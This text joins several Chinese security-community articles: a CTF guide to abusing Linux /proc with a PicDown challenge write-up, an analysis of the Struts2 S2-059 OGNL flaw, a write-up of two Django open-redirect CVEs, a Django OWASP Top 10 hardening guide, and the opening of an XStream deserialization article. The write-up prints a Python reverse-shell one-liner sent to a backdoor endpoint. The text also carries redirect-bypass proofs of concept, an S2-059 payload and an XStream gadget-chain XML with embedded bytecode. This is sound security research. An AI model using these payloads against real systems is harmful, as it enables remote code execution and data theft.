lrwxrwxrwx 1 root root 0 Nov 15 11:28 /proc/thread-self -> 1297727/task/1297727
[5] /proc/[a-z]*
proc 下面还有许多其他的文件记录了系统中的各种信息
# /proc 目录下常见的文件介绍
## apm
> 高级电源管理(APM)版本信息及电池相关状态信息，通常由`apm`命令使用
## buddyinfo
> 用于诊断内存碎片问题的相关信息文件；
## cmdline
> 在启动时传递至内核的相关参数信息，这些信息通常由`lilo`或`grub`等启动管理工具进行传递
## cpuinfo
> 处理器的相关信息的文件
## crypto
> 系统上已安装的内核使用的密码算法及每个算法的详细信息列表
## diskstats
> 每块磁盘设备的磁盘I/O统计信息列表(`内核2.5.69`以后的版本支持此功能)
## ioports
> 当前正在使用且已经注册过的与物理设备进行通讯的输入-输出端口范围信息列表
## meminfo
> 系统中关于当前内存的利用状况等的信息，常由`free`命令使用，可以使用文件查看命令直接读取此文件，其内容显示为两列，前者为统计属性，后者为对应的值
## version
> 当前系统运行的内核版本号
# /proc/pid 目录下常见的文件介绍
> 在前面的图中不难看出在`/proc`目录下存在很多与进程相关的目录，接着来看看`/proc/pid`中记录的几个经常用到的进程的信息
## attr
>
> `/proc/pid/attr`是一个目录，这个目录下的文件的作用是为安全模块提供了`API`，通过这些文件可以读取或者设置一些安全相关的选项，需要注意的是，只有内核开启了`CONFIG_SECURITY`选项时才能够看到这个目录
>
> 子目录下相关内容
> ```bash
> [+] /proc/pid/attr/current
> 这个文件的内容记录了当前进程的安全属性
[+] /proc/pid/attr/exec
这个文件代表给进程的 execve 的属性
[+] /proc/pid/attr/fscreate
这个文件代表进程与文件有关的权限, 包括open mkdir symlink mknod
[+] /proc/pid/attr/keycreate
如果进程将安全上下文写入此文件, 那么所有创建 key 的行为都会被加载到此上下文中
[+] /proc/pid/attr/prev
这个文件包含了进程在执行最后一个 execve 的安全上下文
[+] /proc/pid/attr/socketcreate
如果一个进程向这个文件写入安全上下文, 那么之后所有的 sockets 的创建行为都会在此进程上下文中
## cmdline
> `cmdline`文件存储着启动当前进程的完整命令，但僵尸进程目录中的此文件不包含任何信息，可以通过查看`cmdline`目录获取启动指定进程的完整命令，例如：`cat /proc/pid/cmdline`
## cwd
> 这是一个当前的进程的工作目录，可以通过查看`cwd`文件获取目标指定进程环境的运行目录，例如：`cd /proc/pid/cwd; /bin/pwd`或者`ls -al /proc/pwd/cwd`
## exe
> `exe`是一个指向启动当前进程的可执行文件(完整路径)的符号链接，通过`exe`文件可以获得指定进程的可执行文件的完整路径
> 在`Linux2.2`的内核及其之后`/proc/pid/exe`是直接执行的二进制文件的符号链接，在`Linux2.0`及其之前`/proc/pid/exe`是指向当前进程执行的二进制文件
## environ
> 该文件存储着当前进程的环境变量列表，包含的是当程序使用`execve`启动程序时的环境变量的值，其中的`entries`是通过`0x0`分割的，结尾是可能是`NULL`，彼此间用空字符(NULL)隔开，变量用大写字母表示，其值用小写字母表示，可以通过查看`environ`目录来获取指定进程的环境变量信息，在 CTF 赛题中可以用来读取环境变量中的`FLAG`或者`SECRET_KEY`
## fd
> 这是一个子目录，包含了当前进程打开的每一个文件，每一个条目都是一个文件描述符，这些文件描述符是指向实际文件的一个符号链接，即每个通过这个进程打开的文件都会显示在这里，可以通过`fd`目录里的文件获得指定进程打开的每个文件的路径以及文件内容
> `fd`的另一个用途在于：在`linux`系统中，当一个程序用`open()`打开了一个文件但最终没有关闭该文件，即使从外部删除这个文件，但是在`/proc`这个进程的`pid`目录下的`fd`文件描述符目录下还是会有这个文件的文件描述符，通过这个文件描述符可以得到被删除文件的内容
```bash
[+] 查看指定进程打开的某个文件的路径
ls -al /proc/pid/fd
[+] 查看指定进程打开的某个文件的内容
ls -al /proc/pid/fd/id
## self
> 在 CTF
> 赛题中往往需要的都是当前进程中的有用信息，而在上述的操作中基本都是目标环境中指定的进程信息，这时可以通过`/proc/self`来获取当前进程的信息，相较于`/proc/$pid`，`/proc/self`不仅能够更方便的获取本进程的信息，还可以避免在`fork`和`daemon`等情况下`pid`发生变化，感兴趣的话可以看看[stackexchange上的讨论](https://unix.stackexchange.com/questions/333225/which-> process-is-proc-self-for)
[+] 获取当前启动进程的完整命令
cat /proc/self/cmdline
[+] 获取目标当前进程环境的运行目录与目录里的文件
cd /proc/self/cwd; /bin/pwd
ls /proc/self/cwd
[+] 获得当前进程的可执行文件的完整路径
ls -al /proc/self/exe
[+] 获取当前进程的环境变量信息
more /proc/self/environ
[+] 获取当前进程打开的文件内容
more /proc/self/fd/id
> tip：当找不到网站路径的时候可以利用`/proc/self/cwd`目录来读取`apache`进程的`php`文件源码
# 例题实战 - PicDown
> 打开题目界面只有一个登录框，随便输入点东西后发现`url`的形式可能存在任意文件读取，尝试后成功下载`/etc/passwd`
> 既然可以下载`/etc/passwd`，且题目也没有其它利用点，尝试利用`/proc/self/cmdline`来获取当前文件的名字：`python2
> app.py`
>
> 成功拿到当前文件的名字，使用`/proc/self/cwd`来获取文件内容
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
>
> 观察源代码后发现关键点：`os.remove(SECRET_FILE)`，这里导致`SECRET_FILE`文件被删除了，结合上文分析可以知道，`fd`可以用来读取被删除的文件，所以只需要爆破`id`值就可以成功读取到被删除文件的内容，这里爆破出来的`id=3`
>
> 后面就是常规的步骤了，利用拿到的`SECRET_FILE`来反弹 shell 即可
GET:
no_one_know_the_manager?key=IEcyndyXL52M6OSfyKnmz3kMIqePrpuHJVUs88J01Ko=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# 小结
> 在 CTF 赛题中，`/proc`在 Web-Python
> 类型赛题较为常见，利用方式也有很多，除了上面实战例题中的利用方式，有时候还会通过`/proc/self/environ`来获取有用信息，或者利用`/proc`和`LFI`进行`Getshell`等等
> 在渗透测试过程中，获取内存信息(cat /proc/meminfo)、CPU 信息(cat
> /proc/cpuinfo)等时候，也经常会用到`/proc`目录；在进行`php`文件包含姿势的利用时往往也会用到包含`/proc/self/environ`文件这个点 | 社区文章 |
# Struts2 S2-059 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2020年8月13日,Apache官方发布了一则公告,该公告称Apache
Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了`%{skillName}`并且`skillName`的值用户可以控制,就会造成`OGNL`表达式执行。
## 二、漏洞复现
我这里选用的测试环境 `Tomcat 7.0.72`、`Java 1.8.0_181`、`Struts 2.2.1`,受影响的标签直接使用官网公告给出的例子
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{payload}" href="%{url}">List available Employees</s:a>
测试漏洞URL
`http://localhost:8088/S2-059.action?payload=%25{3*3}`
在`s2-029`中由于调用了`completeExpressionIfAltSyntax`方法会自动加上`"%{" + expr +
"}"`,所以`payload`不用带`%{}`,在`s2-029`的`payload`里加上`%{}`就是`s2-059`的`payload`,具体原因看下面的分析。
## 三、漏洞分析
根据官网公告的漏洞描述及上面的测试过程可以知道,这次漏洞是由于标签属性值进行二次表达式解析产生的。`struts2 jsp`
标签解析是`org.apache.struts2.views.jsp.ComponentTagSupport`类的`doStartTag`和`doEndTag`方法。`debug`跟下
`doStartTag`方法。
跟下`populateParams`方法
`org/apache/struts2/views/jsp/ui/AnchorTag.class`
这里又去调用了父类的`populateParams`方法,接着调用`org/apache/struts2/views/jsp/ui/AbstractUITag.class`类的`populateParams`方法
可以看到这里有给setId赋值,跟下setId方法,`org/apache/struts2/components/UIBean.class`
由于id不为null,会执行`this.findString`方法,接着跟下.`org/apache/struts2/components/Component.class`
`altSyntax`默认开启,
所以`this.altSyntax()`会返回`true`,`toType`的值传过来是`String.class`,`if`条件成立会执行到`TextParseUtil.translateVariables('%',
expr, this.stack)`
可以看到这里是首先截取去掉`%{}`字符,然后从`stack`中寻找`payload`参数,传输的`payload`参数是`%{3*2}`,这里会得到这个值。
执行完`populateParams`方法可以得知这个方法是对属性进行初始化赋值操作。接着跟下`start`方法
`org/apache/struts2/components/Anchor.class`的`start`方法调用了父类`org/apache/struts2/components/ClosingUIBean.class`的`start`方法
在接着跟下`org/apache/struts2/components/UIBean.class$evaluateParams`方法
接着调用了`populateComponentHtmlId`方法
在看下`findStringIfAltSyntax`方法的实现
`org/apache/struts2/components/Component.class$findStringIfAltSyntax`
可以看到这里又执行了一次`TextParseUtil.translateVariables`方法.
整个过程跟`S2-029`和`S2-036`漏洞产生的原因一样,都是由标签属性二次表达式解析造成漏洞。分析完漏洞产生原因后,我查看了`UIBean
class`相关代码,并没有发现除`id`外其它标签属性值可以这样利用。
## 四、总结
此次漏洞需要开启`altSyntax`功能,只能是在标签`id`属性中存在表达式,并且参数还可以控制,这种场景在实际开发中非常少见,危害较小。
## 五、参考链接
<https://cwiki.apache.org/confluence/display/WW/S2-059>
<http://blog.topsec.com.cn/struts2%e6%bc%8f%e6%b4%9es2-029%e5%88%86%e6%9e%90/> | 社区文章 |
[Django官方News&Event](https://www.djangoproject.com/weblog/2017/apr/04/security-releases/)在4月4日发布了一个安全更新，修复了两个URL跳转的漏洞，一个是urlparse的锅，另一个来自国内的安全研究员
phithon@长亭,都非常漂亮。因为有复现Django漏洞的习惯，晚上抽了点时间复现了一下。有趣的点还挺多。把两个漏洞的分析整合在一起，凑了篇文章。（还是研究漏洞有趣啊，泪流满面QAQ）
#### CVE-2017-7233分析 – Django is_safe_url() URL跳转过滤函数Bypass
国外安全研究员roks0n提供给Django官方的一个漏洞。
#### 关于is_safe_url函数
Django自带一个函数：`django.utils.http.is_safe_url(url, host=None,
allowed_hosts=None,
require_https=False)`，用于过滤需要进行跳转的url。如果url安全则返回ture，不安全则返回false。文档如下:
print(is_safe_url.__doc__)
Return ``True`` if the url is a safe redirection (i.e. it doesn't point to
a different host and uses a safe scheme).
Always returns ``False`` on an empty url.
If ``require_https`` is ``True``, only 'https' will be considered a valid
scheme, as opposed to 'http' and 'https' with the default, ``False``.
让我们来看看常规的几个用法：
from django.utils.http import is_safe_url
In [2]: is_safe_url('http://baidu.com')
Out[2]: False
In [3]: is_safe_url('baidu.com')
Out[3]: True
In [5]: is_safe_url('aaaaa')
Out[5]: True
In [8]: is_safe_url('//blog.neargle.com')
Out[8]: False
In [7]: is_safe_url('http://google.com/adadadadad','blog.neargle.com')
Out[7]: False
In [13]: is_safe_url('http://blog.neargle.com/aaaa/bbb', 'blog.neargle.com')
Out[13]: True
可见在没有指定第二个参数host的情况下,url如果非相对路径，即`HttpResponseRedirect`函数会跳往别的站点的情况，`is_safe_url`就判断其为不安全的url,如果指定了host为`blog.neargle.com`，则`is_safe_url`会判断url是否属于’blog.neargle.com’，如果url是’blog.neargle.com’或相对路径的url，则判断其url是安全的。
#### urllib.parse.urlparse的特殊情况
问题就出在该函数对域名和方法的判断，是基于`urllib.parse.urlparse`的,源码如下(django/utils/http.py):
def _is_safe_url(url, host):
if url.startswith('///'):
return False
url_info = urlparse(url)
if not url_info.netloc and url_info.scheme:
return False
if unicodedata.category(url[0])[0] == 'C':
return False
return ((not url_info.netloc or url_info.netloc == host) and
(not url_info.scheme or url_info.scheme in ['http', 'https']))
我们来看一下urlparse的常规用法及几种urlparse无法处理的特殊情况。
>>> urlparse('http://blog.neargle.com/2017/01/09/chrome-ext-spider-for-probe/')
ParseResult(scheme='http', netloc='blog.neargle.com', path='/2017/01/09/chrome-ext-spider-for-probe/', params='', query='', fragment='')
>>> urlparse('ftp:99999999')
ParseResult(scheme='', netloc='', path='ftp:99999999', params='', query='', fragment='')
>>> urlparse('http:99999999')
ParseResult(scheme='http', netloc='', path='99999999', params='', query='', fragment='')
>>> urlparse('https:99999999')
ParseResult(scheme='', netloc='', path='https:99999999', params='', query='', fragment='')
>>> urlparse('javascript:222222')
ParseResult(scheme='', netloc='', path='javascript:222222', params='', query='', fragment='')
>>> urlparse('ftp:aaaaaaa')
ParseResult(scheme='ftp', netloc='', path='aaaaaaa', params='', query='', fragment='')
>>> urlparse('ftp:127.0.0.1')
ParseResult(scheme='ftp', netloc='', path='127.0.0.1', params='', query='', fragment='')
>>> urlparse('ftp:127.0.0.1')
ParseResult(scheme='ftp', netloc='', path='127.0.0.1', params='', query='', fragment='')
可以发现当scheme不等于http，且path为纯数字的时候,urlparse处理例如`aaaa:2222222223`的情况是不能正常分割开的，会全部归为path。这时`url_info.netloc
== url_info.scheme == ""`,则`((not url_info.netloc or url_info.netloc
== host) and (not url_info.scheme or url_info.scheme in ['http',
'https']))`为true。（这里顺便提一下,[django官方News&Event](https://www.djangoproject.com/weblog/2017/apr/04/security-releases/)中提到的poc:”http:99999999”是无法bypass的，在前面的判断`if not url_info.netloc and
url_info.scheme:`都过不了。）例如下面几种情况：
>>> is_safe_url('http:555555555')
False
>>> is_safe_url('ftp:23333333333')
True
>>> is_safe_url('https:2333333333')
True
#### 使用IP Decimal Bypass is_safe_url
但是既然是url跳转漏洞，我们就需要让其跳转到指定的url里，`https:2333333333`这样的url明显是无法访问的，而冒号之后必须纯数字,`http:127.0.0.1`是无法pypass的。有什么方法呢？其实ip不仅只有常见的点分十进制表示法,纯十进制数字也可以表示一个ip地址,浏览器也同样支持。例如:
`127.0.0.1 == 2130706433`,`8.8.8.8 ==
134744072`(转换器:[http://www.ipaddressguide.com/ip),而'http:2130706433'是在浏览器上是可以访问到对应的ip及服务的，即'http:2130706433](http://www.ipaddressguide.com/ip),%E8%80%8C'http:2130706433'%E6%98%AF%E5%9C%A8%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%8A%E6%98%AF%E5%8F%AF%E4%BB%A5%E8%AE%BF%E9%97%AE%E5%88%B0%E5%AF%B9%E5%BA%94%E7%9A%84ip%E5%8F%8A%E6%9C%8D%E5%8A%A1%E7%9A%84%EF%BC%8C%E5%8D%B3'http:2130706433)
= [http://127.0.0.1/'。](http://127.0.0.1/'%E3%80%82)
这里我们选用`https:1029415385`作为poc，这是一个google的ip,这个url可以bypass`is_safe_url`并跳转到google.com。
#### 漏洞验证与影响
我们来写一个简单的环境:
from django.http import HttpResponseRedirect
from django.utils.http import is_safe_url
def BypassIsUrlSafeCheck(request):
url = request.GET.get("url", '')
if is_safe_url(url, host="blog.neargle.com"):
return HttpResponseRedirect(url)
else:
return HttpResponseRedirect('/')
然后访问:`http://127.0.0.1:8000/bypassIsUrlSafeCheck?url=https:1029415385`,
如图,url被重定向到了google.com。
并非只有开发者自己使用`is_safe_url`会受到影响，Django默认自带的admin也使用了这个函数来处理next GET |
POST参数，当用户访问`/admin/login/?next=https:1029415385`进行登录时，登录后同样会跳转到google.com,退出登录时同样使用到了该函数。
def _get_login_redirect_url(request, redirect_to):
### Ensure the user-originating redirection URL is safe.
if not is_safe_url(url=redirect_to, host=request.get_host()):
return resolve_url(settings.LOGIN_REDIRECT_URL)
return redirect_to
@never_cache
def login(request, template_name='registration/login.html',
redirect_field_name=REDIRECT_FIELD_NAME,
authentication_form=AuthenticationForm,
extra_context=None, redirect_authenticated_user=False):
......
return HttpResponseRedirect(_get_login_redirect_url(request, redirect_to))
......
#### 修复
django修复了代码，自己重构了一下`urlparse`函数,修复了`urlparse`函数的这个漏洞。
### Copied from urllib.parse.urlparse() but uses fixed urlsplit() function.
def _urlparse(url, scheme='', allow_fragments=True):
"""Parse a URL into 6 components:
<scheme>://<netloc>/<path>;<params>?<query>#<fragment>
Return a 6-tuple: (scheme, netloc, path, params, query, fragment).
Note that we don't break the components up in smaller bits
(e.g. netloc is a single string) and we don't expand % escapes."""
url, scheme, _coerce_result = _coerce_args(url, scheme)
splitresult = _urlsplit(url, scheme, allow_fragments)
scheme, netloc, url, query, fragment = splitresult
if scheme in uses_params and ';' in url:
url, params = _splitparams(url)
else:
params = ''
result = ParseResult(scheme, netloc, url, params, query, fragment)
return _coerce_result(result)
#### 关于官方提到的 possible XSS attack
[django官方News&Event](https://www.djangoproject.com/weblog/2017/apr/04/security-releases/)中提到的这个漏洞可能会产生XSS，我认为除非程序员把接受跳转的url插入的到`<script
type="text/javascript"
src=""></script>`等特殊情况之外，直接使用产生XSS的场景还是比较少的。如果你想到了其他的场景还请赐教，祝好。
#### CVE-2017-7234 django.views.static.serve url跳转漏洞
#### 漏洞详情
来自 @Phithon 的一个漏洞。
问题出现在：`django.views.static.serve()`函数上。该函数可以用来指定web站点的静态文件目录。如:
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^staticp/(?P<path>.*)$', serve, {'document_root': os.path.join(settings.BASE_DIR, 'staticpath')})
]
这样django项目根目录下staticpath中的所有文件，就可以在staticp/目录中访问。e.g.
`http://127.0.0.1:8000/staticp/test.css`
这种方法是不被django官方推荐在生成环境使用的，对安全性和性能都有一定影响。
问题代码如下 (django/views/static.py)：
path = posixpath.normpath(unquote(path))
path = path.lstrip('/')
newpath = ''
for part in path.split('/'):
if not part:
### Strip empty path components.
continue
drive, part = os.path.splitdrive(part)
head, part = os.path.split(part)
if part in (os.curdir, os.pardir):
### Strip '.' and '..' in path.
continue
newpath = os.path.join(newpath, part).replace('\\', '/')
if newpath and path != newpath:
return HttpResponseRedirect(newpath)
path既我们传入的路径,如果传入的路径为`staticp/path.css`,则`path=path.css`。跟踪代码可知，path经过了unquote进行url解码，后来又`replace('\\',
'/')`,进入HttpResponseRedirect，很诡异的逻辑看起来很有问题。一般遇到这类型的函数我们会先试着找看看,任意文件读漏洞，但是这个对`'.'`和`'..'`进行了过滤，所以这边这个HttpResponseRedirect函数就成了帅的人的目标。
我们的最终目的是`HttpResponseRedirect('//evil.neargle.com')`或者`HttpResponseRedirect('<http://evil.neargle.com>')`,那么就要使`path
!=
newpath`，那么path里面就必须带有’\‘，好的现在的我们传入`'/staticp/%5C%5Cblog.neargle.com'`,则`path='\\\\blog.neargle.com';newpath='//blog.neargle.com'`,HttpResponseRedirect就会跳转到`'blog.neargle.com'`造成跳转漏洞。
#### 修复
嗯，官方表示自己也不知道为什么要写这串代码，删了这一串代码然后用safe_url函数代替。
#### ps.
浏览器不仅仅支持十进制来代替点分十进制的IP，也可以使用十六进制和8进制来代替。`http://点分十进制 == http://十进制 ==
http://0x十六进制 == http://0八进制`(例如:`http://127.0.0.1 == http://2130706433 ==
http://0x7F000001 == http://017700000001`),十六进制非纯数字所以不可用来bypass
urlparse，但是八进制还是可以的。
#### urls
* <https://github.com/django/django/commit/5ea48a70afac5e5684b504f09286e7defdd1a81a>
* <https://www.djangoproject.com/weblog/2017/apr/04/security-releases/>
* <https://docs.python.org/3/library/urllib.parse.html> | 社区文章 |
`本文针对Django，参照OWASP前十名危险漏洞进行了安全防御总结，帮助开发者能够更好的规避风险隐患。欢迎读者来读！`
本系列的第1部分将重点介绍Django针对`OWASP Top
10`中列出的一些最常见风险的攻击、防御措施，而在第2部分中，我们将重点介绍由于错误配置和不安全的编码而导致的攻击。
对于那些不了解此类攻击的人员，OWASP Top 10列出了在实际应用程序和API中发现的最常见的Web应用程序安全漏洞。 风险按A1 -A10的顺序列出，A1是最普遍的风险。 2017版本的OWASP Top 10和Django 2.2伪代码同样在本博文中包含。
### A1 - 注入部分
十多年来，注入一直是十大风险中列出的最高风险之一，并被列为最新版本的A1风险。 当不受信任的数据用于执行非预期的命令时，注入便会发生。
一个常见的例子是SQL注入。 Django提供了一个内置的对象关系映射层，可以通过参数化来防止注入攻击。
而我们如果想防止注入的发生，我们需要提前进行设置并使用ORM模型。
class Person(models.Model):
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)
模型用于定义数据库中表的字段和行为。
一旦定义了此模型，就为CRUD交互提供了方法。
newPerson = Person.objects.create(first_name=request.user.first_name, last_name=request.user.last_name)
newPerson.save()
`create()`方法中使用的`request.user.first_name`和`request.user.last_name`参数将被转义以防止SQL注入攻击。
除了ORM方法之外`，Django`还允许开发人员使用`raw()`和`execute()`方法输入原始SQL。 如果正确完成，这些方法也可以使用参数化。
from django.db import connection
...
def custom_sql(self):
with connection.cursor() as cursor:
cursor.execute("INSERT INTO Person (first_name, last_name) \
VALUES (%s, %s)", [param1, param2])
...
使用`execute()`方法时，请务必记住格式说明符（本例中为％s）应该在没有单引号'％s'的情况下使用。
虽然这可能看起来像字符串，但这并不是对参数执行了转义操作。
### A2 - 认证失效
破坏的身份验证和会话管理是另一个OWASP Top
10中常见的漏洞。Django有一个基本的身份验证系统，提供身份验证，授权和会话管理，但是却缺乏其他的验证过程。
该框架不提供密码强度检查、登录尝试的限制或双因素身份验证。 这些功能只能在第三方软件包中实现，但它们不是开箱即用的。
要启用`Django`的身份验证框架，用户需要在`INSTALLED_APPS和MIDDLEWARE`部分下的`settings.py`文件中添加一些内容：
INSTALLED_APPS = [
...
'django.contrib.auth',
'django.contrib.contettypes',
...
]
MIDDLEWARE = [
...
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
...
]
由于该框架缺乏某些保护和功能，因此第2部分将进一步讨论此风险。
### A3 - 敏感数据泄露
如果应用程序处理或存储敏感数据，则此漏洞便有可能产生。 Django提供了一些设置，可以在传输和静止时保持敏感数据的安全，但默认情况下并非全部启用它们。
如果应用程序正在存储密码，则可以将`PASSWORD_HASHERS`列表添加到`setting.py`文件中以指定散列算法。
默认情况下，Django使用`PBKDF2`算法，但可以将其他算法添加到列表中以检查现有旧密码。
在`settings.py`文件中还有一些其他要设置的设置：
* `SECURE_SSL_REDIRECT = True`这会将所有HTTP流量重定向到`HTTPS
* `SESSION_COOKIE_SECURE = True`这将确保会话cookie仅通过HTTPS发送
* `CSRF_COOKIE_SECURE = True`这将确保CSRF令牌仅通过HTTPS发送
另一种可用于传输中数据的方法是`@sensitive_variables()`修饰器。 可以在函数之前添加修饰器，以防止敏感变量的值显示在错误报告中。
敏感值的变量名称作为参数传递给修饰器。
@sensitive_variables('first_name', 'last_name', 'credit_card', 'ssn', 'blood_type', 'etc')
def save_user_info(user)
first_name = user.first_name
last_name = user.last_name
credit_card = user.ccn
ssn = user.ssn
...
如果方法中的所有变量都是敏感的，则可以在不带参数的函数之前添加`sensitive_variables`修饰器。
### A4 - XML外部实体
XML外部实体（XXE）攻击可导致远程命令执行、拒绝服务和数据泄露。 Django
2.2版本不易受到XXE攻击，因为XML解串器不允许`DTD`，获取外部实体或执行实体扩展的能力。
但是对于Django应用程序接受XML的部分，则值得我们研究，因为它可能正在使用第三方库进行XML解析。
默认情况下，许多用于XML解析的第三方库未受到针对XXE攻击的保护。
### A5 - 访问控制中断
断开访问控制是缺少功能级访问控制和不安全对象引用（IDOR）的组合。`Django
Framework`有一个简单的权限系统，允许具有特定权限的角色、组的用户访问受保护的文件。
如果`django.contrib.auth`位于`settings.py`文件中的`INSTALLED_APPS`列表中，则Django将自动为应用程序中的每个`Model`创建，添加，更改，删除和查看权限。
例如`app_label = appa`的应用程序中有一个名为`BlogPost`的模型。 创建用户时，可以为这些用户分配这些权限。
...
def add_new_blogger(request):
user = Users.objects.create_user(request.first_name, request.email, request.password)
user.user_permissions.add('appa.create_blogpost')
user.save()
...
在该示例中，使用`view_blogpost`权限创建了用户。
为了防止用户删除博客帖子，可以在`delete_blog()`函数之前添加`@permission_required()`修饰器以检查用户的权限。
@permission_required('appa.delete_blogpost')
def delete_blog(request, blog_id):
...
其他修饰器（如`@login_required`）可用于确保未经身份验证的用户无法查看或使用需要身份验证的应用程序部分。 诸如`django-guardian`之类的第三方软件包以及可用于扩展Django权限系统的功能的软件包。
### A6 - 安全配置错误
Django应用程序中的安全性错误配置可能导致敏感数据暴露、破坏访问控制、XSS。
因为这将是本博客文章第2部分的大部分内容，所以在那里我将列出一个例子以便学习。在设置中请确保关闭调试：
DEBUG = False
### A7 - XSS
随着越来越多的框架提供针内置保护，跨站点脚本（XSS）变得越来越少。 Django通过在以HTML格式显示之前转义特殊字符来提供防止XSS的模板。
可以使用`Django render()`函数将Python变量从函数传递给模板。
from django.shortcuts import render
def say_hi(request):
first_name = request.user.first_name
last_name = request.user.last_name
context = {
'first_name': first_name,
'last_name': last_name,
}
return render(request, 'Profile/welcome.html', context)
上面的示例代码是将上下文中的变量发送到`welcome.html`。 当在模板中使用双重打开和关闭花括号时，Django会转义变量的值。
...
<h1> Hi , !</h1>
...
A8 - 不安全的反序列化
当不受信任的数据被反序列化为可以操作逻辑或可以执行远程代码的对象时，会发生不安全的反序列化攻击。
Django包含一个基本的序列化框架，可用于将模型序列化为其他格式。 反序列化时，框架将检查序列化数据中的字段是否存在于模型上。
如果字段不匹配，则会引发错误。 这是Django针对不安全的反序列化攻击提供的唯一保护。 防止这些攻击的最佳方法是不接受来自不受信任来源的序列化数据。
因为Django开发人员经常使用其他库进行序列化，例如Python的pickle或第三方库，所以我们将在第2部分中进一步讨论这个主题。
### A9 - 使用具有已知漏洞的组件进行攻击
使用具有已知漏洞的组件是Top 10中最常见的风险之一。在撰写本文时，Django
2.2版本不包含已知漏洞，但大多数应用程序使用第三方库，因此他们不必重新发明轮子。 应使用依赖项检查等扫描程序查找具有已知漏洞的第三方软件包并更新这些库。
我们将在第2部分深入探讨这个主题。
### A10 - 记录和监控
当您的应用程序没有足够的日志记录和监视时，攻击和可疑活动可能会被忽视。 默认情况下，Django使用Python本机日志记录模块进行系统日志记录。
当在`settings.py`中禁用`DEBUG`时，Django会将所有`ERROR和CRITICAL`日志消息通过电子邮件发送给站点管理员。
在第2部分中，我们将进一步配置Django的日志记录并启用`django.security.*`日志消息。
本文为翻译文章，来源：[https://nvisium.com/blog/2019/04/18/django-vs-the-owasp-top-10-part-1.html](https://nvisium.com/blog/2019/04/18/django-vs-the-owasp-top-10-part-1.html) | 社区文章 |
### 前言
最近有个需求，用Xstream反序列化打个内存马，从通用性来讲，肯定用1.4.17的洞去打应用范围最广。众所周知，Xstream官方会提供其漏洞的poc。在我实验之下，1.4.17的几个poc只要涉及到任意java代码执行的都会报错，纯调用java.lang.Runtime.exec()的却不会报错。在我调试之下发现了其奥秘，本文就是解决Xstream任意java代码执行报错的问题。
### 正文
#### CVE-2021-39149
官方poc如下
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cm